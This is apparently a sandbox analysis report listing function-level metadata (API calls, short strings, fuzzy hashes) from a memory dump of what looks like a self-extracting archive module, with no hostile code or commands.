Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: b0dfd80a5cb5f055e5ecc193712f075aebc00f4986dcab78f13dc8b2947f2f17
Instruction ID: ced2e6e777d8821b7a3a22a5740facc6e6416cdc2b0c1d67a7cbacf48da85c6d
Opcode Fuzzy Hash: b0dfd80a5cb5f055e5ecc193712f075aebc00f4986dcab78f13dc8b2947f2f17
Instruction Fuzzy Hash: 55F037755012346BDB232B94AD07AEA769C9F26B41B000061FD4559056EA609980D6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0033ABDA Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0033AC65
__alldvrm.LIBCMT ref: 0033AE66
__alldvrm.LIBCMT ref: 0033AE88

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: afb2700922330d6a2a5e5337cc0ba606ce23cf73aa61dbbfb2679083630104d7
Instruction ID: 7586566faa2cdbbe8afbda4a21726ee4bc88cf118de9229432dde093613db28a
Opcode Fuzzy Hash: afb2700922330d6a2a5e5337cc0ba606ce23cf73aa61dbbfb2679083630104d7
Instruction Fuzzy Hash: 40A13672A04B869FDB27CF18C8E1BAEBBE5EF61310F19416DE4D59B281C6388D41C752

Uniqueness

Uniqueness Score: -1.00%

Function 0031B74D Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00318D5C,?,?,?), ref: 0031B7F3
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000800,?,00318D5C,?,?), ref: 0031B837
SetFileTime.KERNEL32(?,00318AEC,?,00000000,?,00000800,?,00318D5C,?,?,?,?,?,?,?,?), ref: 0031B8B8
CloseHandle.KERNEL32(?,?,00000800,?,00318D5C,?,?,?,?,?,?,?,?,?,?), ref: 0031B8BF

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: e373ddb5e5bd0b72eb70150452377477f06b3b9949d49634d267e1192934bb69
Instruction ID: 110cab52e47a8c67ba208753fae1d9d4e88aa62f13608bcf720f51392ade6f94
Opcode Fuzzy Hash: e373ddb5e5bd0b72eb70150452377477f06b3b9949d49634d267e1192934bb69
Instruction Fuzzy Hash: 6641EE31248380AAE736DF24DC55BEBFBE8AF89740F04092DF5D1971D0D764AA88DB52

Uniqueness

Uniqueness Score: -1.00%

Function 003110E0 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0031110B
_wcslen.LIBCMT ref: 00311133
_wcslen.LIBCMT ref: 00311162
_wcslen.LIBCMT ref: 00311189

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: a2473fddc4e424a0ed1d8006408e1ce6225eaaa6facf7f018038794e31dd3408
Instruction ID: 36645979c0b7659fe788b8660e8692e4543397e72fb34b2ca508b4aa7f865d32
Opcode Fuzzy Hash: a2473fddc4e424a0ed1d8006408e1ce6225eaaa6facf7f018038794e31dd3408
Instruction Fuzzy Hash: 0141C7719006295BCB569F689C499EEBBBCEF14310F040029FE45F7245DB70AD898BE0

Uniqueness

Uniqueness Score: -1.00%

Function 0031851F Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00318532
_wcslen.LIBCMT ref: 00318558
_wcslen.LIBCMT ref: 003185EF
_wcslen.LIBCMT ref: 00318657

Part of subcall function 0031B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0031B991

Part of subcall function 0031B41F: RemoveDirectoryW.KERNEL32(?,?,?,00318649,?), ref: 0031B430
Part of subcall function 0031B41F: RemoveDirectoryW.KERNEL32(?,?,?,00000800,?,00318649,?), ref: 0031B45E

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$DirectoryRemove$CloseFind
String ID:
API String ID: 973666142-0
Opcode ID: 13c4833921830cc24cf7045191f17a435417e1473527d55b164f376317025a4e
Instruction ID: b40d65b3b2afabff5e8f32b169caa13d9757dd96540edb550428929f653cfa2f
Opcode Fuzzy Hash: 13c4833921830cc24cf7045191f17a435417e1473527d55b164f376317025a4e
Instruction Fuzzy Hash: 3A310672800254AACF2BAF608C41BEE736AEF5D780F154465F945AB149EF70DEC48B94

Uniqueness

Uniqueness Score: -1.00%

Function 0033DB48 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0033A871,?,00000000,?,00000001,?,?,00000001,0033A871,?), ref: 0033DB95
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0033DC1E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,003380B1,?), ref: 0033DC30
__freea.LIBCMT ref: 0033DC39

Part of subcall function 0033A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0033DBEC,00000000,?,003380B1,?,00000008,?,0033A871,?,?,?), ref: 0033A830

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: dc4e9b884caf96f2f17235508c11bd76435e096cf1978cebb1944f876bbecec9
Instruction ID: b06f7448df78924e477f930693304ea5093dbe1ee62876d3ebb9c9798d3827ff
Opcode Fuzzy Hash: dc4e9b884caf96f2f17235508c11bd76435e096cf1978cebb1944f876bbecec9
Instruction Fuzzy Hash: 06319271A1020AABDF269F64ECC5EAE7BA9EF44710F064268FC04DB150E735DD90CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00318704 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 00318713
OpenProcessToken.ADVAPI32(00000000), ref: 0031871A
GetLastError.KERNEL32 ref: 00318759
CloseHandle.KERNEL32(?), ref: 00318768

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Process$CloseCurrentErrorHandleLastOpenToken
String ID:
API String ID: 2767541406-0
Opcode ID: c09dc30cc0ea66dcab74474492cfe44b52b2ae7da60a1589264d619b87aa7367
Instruction ID: 77268686f27eddda08f1d33064924cf16ec7ed3e8d8d3d2e612dbc792c297c40
Opcode Fuzzy Hash: c09dc30cc0ea66dcab74474492cfe44b52b2ae7da60a1589264d619b87aa7367
Instruction Fuzzy Hash: 110119B5500209AFEB269FA0DD89FAEBB7CAB04744F204425B901E1190EB71DE94AA71

Uniqueness

Uniqueness Score: -1.00%

Function 0032B673 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0032B676
GetDeviceCaps.GDI32(00000000,00000058), ref: 0032B685
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0032B693
ReleaseDC.USER32(00000000,00000000), ref: 0032B6A1

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 481dc28eaafd3cf659d1c97e4b32932adc263061da80b8220929bf77ce1dc4cb
Instruction ID: 24e2b6e0319a4e352b2b94b03ce79c63571211a50ff5b78eaf68a7b1b2e93590
Opcode Fuzzy Hash: 481dc28eaafd3cf659d1c97e4b32932adc263061da80b8220929bf77ce1dc4cb
Instruction Fuzzy Hash: 30E0EC72986F64ABD7361BA2BC1DB9A7F5CFB19713F450105F609962A0CAF044808FD1

Uniqueness

Uniqueness Score: -1.00%

Function 0032B81C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 0032B6A9: GetDC.USER32(00000000), ref: 0032B6AD
Part of subcall function 0032B6A9: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0032B6B8
Part of subcall function 0032B6A9: ReleaseDC.USER32(00000000,00000000), ref: 0032B6C3

GetObjectW.GDI32(?,00000018,?), ref: 0032B84C

Part of subcall function 0032BADE: GetDC.USER32(00000000), ref: 0032BAE7
Part of subcall function 0032BADE: GetObjectW.GDI32(?,00000018,?), ref: 0032BB16
Part of subcall function 0032BADE: ReleaseDC.USER32(00000000,?), ref: 0032BBAE

Strings

(, xrefs: 0032B9BF

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 8ac0bb8220b98f715a8eaead7b40d1d93051868f93f546f3f41a9db070f43be1
Instruction ID: aa03e07c64483a5dcb3b43b7fa7d7ed0bde0376823d9090c3ef05806d72d72b6
Opcode Fuzzy Hash: 8ac0bb8220b98f715a8eaead7b40d1d93051868f93f546f3f41a9db070f43be1
Instruction Fuzzy Hash: D291FF75608754AFD622DF25D844A2BBBFCFF89700F00492EF59AD7260DB70A841CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003180BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 003180C3

Part of subcall function 00321907: _wcslen.LIBCMT ref: 0032190D

Part of subcall function 0031B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0031B991

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00318262

Part of subcall function 0031B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0031B5B5,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B8FA
Part of subcall function 0031B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0031B5B5,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B92B

Strings

:, xrefs: 00318134

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: a22f28cc18c82ca87bebe227b4609c20421cb30aac30647965c5fb1fd8f99ca5
Instruction ID: 64949ccfe43e48f553f9c23a0a1f71216cfe4b636efa37a198990078aee8db47
Opcode Fuzzy Hash: a22f28cc18c82ca87bebe227b4609c20421cb30aac30647965c5fb1fd8f99ca5
Instruction Fuzzy Hash: 4C514671800658AADB2BEB50CD56EEEB37DAF49300F1044A5B605AB092DB745FCACF61

Uniqueness

Uniqueness Score: -1.00%

Function 0032C67E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0032C6D3
_wcslen.LIBCMT ref: 0032C6EE

Strings

}, xrefs: 0032C6C6

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 369cb429bc71c3dd78503259f40e84b399a41057d66855fc2f8ca3c3f5412808
Instruction ID: 9ee7423cca82941246073d02983b1224da77d90af9710d91bb2d4fe13fd8e921
Opcode Fuzzy Hash: 369cb429bc71c3dd78503259f40e84b399a41057d66855fc2f8ca3c3f5412808
Instruction Fuzzy Hash: 572105729243265ED733EB68E845A6FB3ECDF85750F05142AF540CB141EB71ED488BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0031CDC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0031CDE7

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

Strings

%c:\, xrefs: 0031CDDD

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 782c90190cd345d89981b1cd79cd275cfe5a1de3829147817c2bbe38fe44e590
Instruction ID: 9533cda0d7a52546ca5b8dfad9ec6384e795ae0ff8a1d50149aa42cd5cf4061a
Opcode Fuzzy Hash: 782c90190cd345d89981b1cd79cd275cfe5a1de3829147817c2bbe38fe44e590
Instruction Fuzzy Hash: BA016D6309431175DA3B6B799C82DE7A7ACDF9D371B40841AF444CB081EA30D490C2B1

Uniqueness

Uniqueness Score: -1.00%

Function 00330D7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00330DBD
___raise_securityfailure.LIBCMT ref: 00330EA5

Strings

x=7, xrefs: 00330EA0

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: x=7
API String ID: 3761405300-2012613963
Opcode ID: a2b6e37a66a8c38499abacc62d756baea9f1e429d5735ffbc9d4144eca3ee52d
Instruction ID: 14ba8e26713421a4a263a617396d530ebbe8b1770eaf06ce7a1a7aa5452417ea
Opcode Fuzzy Hash: a2b6e37a66a8c38499abacc62d756baea9f1e429d5735ffbc9d4144eca3ee52d
Instruction Fuzzy Hash: B12194B6540300EED726CF59E9966907BE8EB48715F10502EE9488BAB0D3B1AAC1EF45

Uniqueness

Uniqueness Score: -1.00%

Function 0032EEF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(00020486), ref: 0032EF2A
DialogBoxParamW.USER32(GETPASSWORD1,00020486,0032C460,?), ref: 0032EF65

Strings

GETPASSWORD1, xrefs: 0032EF5A

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: 963970c68648768c4eef1e97e3b658c61329fdf949e471e4e77162e4a75e60f7
Instruction ID: fb33af309896f77188fc72f29119c0801172fc7619329ad0b2e7777630e43b36
Opcode Fuzzy Hash: 963970c68648768c4eef1e97e3b658c61329fdf949e471e4e77162e4a75e60f7
Instruction Fuzzy Hash: 5311E535254364BFDB279BA4AC53BEA379CAB05741F168121F845A7192C6A06884CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 0032233E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00322480,?,00000000,00000000), ref: 00322362
SetThreadPriority.KERNEL32(?,00000000), ref: 003223A9

Part of subcall function 003176E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00317707

Strings

CreateThread failed, xrefs: 0032236E

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: c8091a3df3e1d3243dbec249b52c5d3e2f4e98932021dc9be8d07be18ce86ee9
Instruction ID: 2aef43894917469c80727a86a66f7c6ccf807f741373836c4db759a37de8ebfe
Opcode Fuzzy Hash: c8091a3df3e1d3243dbec249b52c5d3e2f4e98932021dc9be8d07be18ce86ee9
Instruction Fuzzy Hash: 4701DBBA2447167FD327AF54AC42FA3B3A8EB44752F11012DFB429B1D0CEA168548620

Uniqueness

Uniqueness Score: -1.00%

Function 0032F82F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,0032F774,0000001C,0032F969,00000000,?,?,?,?,?,?,?,0032F774,00000004,00373D24,0032F9F9), ref: 0032F840
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,0032F774,00000004,00373D24,0032F9F9), ref: 0032F85B

Strings

D, xrefs: 0032F84F

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 5c7af62a2cf83464ab205a6251346e1ea269c18ddcd59b4a8928a81c29393d17
Instruction ID: 77380d2a8722f35858946c96f3e7d906e6be78c6a0da3d50e82849b9b375681c
Opcode Fuzzy Hash: 5c7af62a2cf83464ab205a6251346e1ea269c18ddcd59b4a8928a81c29393d17
Instruction Fuzzy Hash: A701F7326001196BCB14DE29EC05BDE7BF9AFC5324F0DC234ED19DB254EA34E9018680

Uniqueness

Uniqueness Score: -1.00%

Function 0033962A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0033D0F0: GetEnvironmentStringsW.KERNEL32 ref: 0033D0F9
Part of subcall function 0033D0F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033D11C
Part of subcall function 0033D0F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0033D142
Part of subcall function 0033D0F0: _free.LIBCMT ref: 0033D155
Part of subcall function 0033D0F0: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0033D164

_free.LIBCMT ref: 00339670
_free.LIBCMT ref: 00339677

Strings

hB7, xrefs: 0033965D

Memory Dump Source

